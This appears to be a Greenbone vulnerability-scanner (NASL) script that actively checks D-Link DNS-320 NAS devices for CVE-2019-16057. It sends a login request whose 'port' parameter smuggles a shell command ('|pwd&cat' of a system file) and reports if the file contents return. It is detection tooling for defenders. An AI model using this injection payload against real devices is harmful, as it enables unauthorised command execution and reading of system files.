D-Link DNS-320 Remote Command Injection Vulnerability - Active Check

# SPDX-FileCopyrightText: 2019 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later

CPE_PREFIX = "cpe:/o:dlink";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.143216");
  script_version("2023-11-21T05:05:52+0000");
  script_tag(name:"last_modification", value:"2023-11-21 05:05:52 +0000 (Tue, 21 Nov 2023)");
  script_tag(name:"creation_date", value:"2019-12-03 07:30:17 +0000 (Tue, 03 Dec 2019)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2019-09-16 19:58:00 +0000 (Mon, 16 Sep 2019)");

  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2019-16057");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("D-Link DNS-320 Remote Command Injection Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2019 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_dlink_dns_http_detect.nasl", "gb_dlink_dsl_detect.nasl",
                      "gb_dlink_dap_consolidation.nasl", "gb_dlink_dir_consolidation.nasl",
                      "gb_dlink_dwr_detect.nasl");
  script_mandatory_keys("d-link/http/detected"); # nb: Experiences in the past have shown that various different devices might be affected
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"The D-Link DNS-320 NAS-device is prone to a remote command
  injection vulnerability.");

  script_tag(name:"insight", value:"The flaw exists in the login module of the device when using a
  hidden feature called SSL Login, for which its required parameter 'port' can be poisoned.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"affected", value:"D-Link DNS-320 versions through 2.05.B10. Other DNS models or
  D-Link products might be affected as well.");

  script_tag(name:"solution", value:"Update to version 2.06B01 or later.");

  script_xref(name:"URL", value:"ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DNS-320/REVA/DNS-320_REVA_RELEASE_NOTES_v2.06B01.pdf");
  script_xref(name:"URL", value:"https://blog.cystack.net/d-link-dns-320-rce/");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!infos = get_app_port_from_cpe_prefix(cpe: CPE_PREFIX, service: "www"))
  exit(0);

port = infos["port"];
CPE = infos["cpe"];

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files("linux");

foreach pattern (keys(files)) {
  file = files[pattern];

  url = dir + "/cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin&port=" + port + "%7Cpwd%26cat%20/" +
        file + "&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username=";

  req = http_get(port: port, item: url);
  res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

  if (egrep(pattern: pattern, string: res)) {
    report = "It was possible to read the file " + file + '\n\nResult:\n\n' + res;
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(0);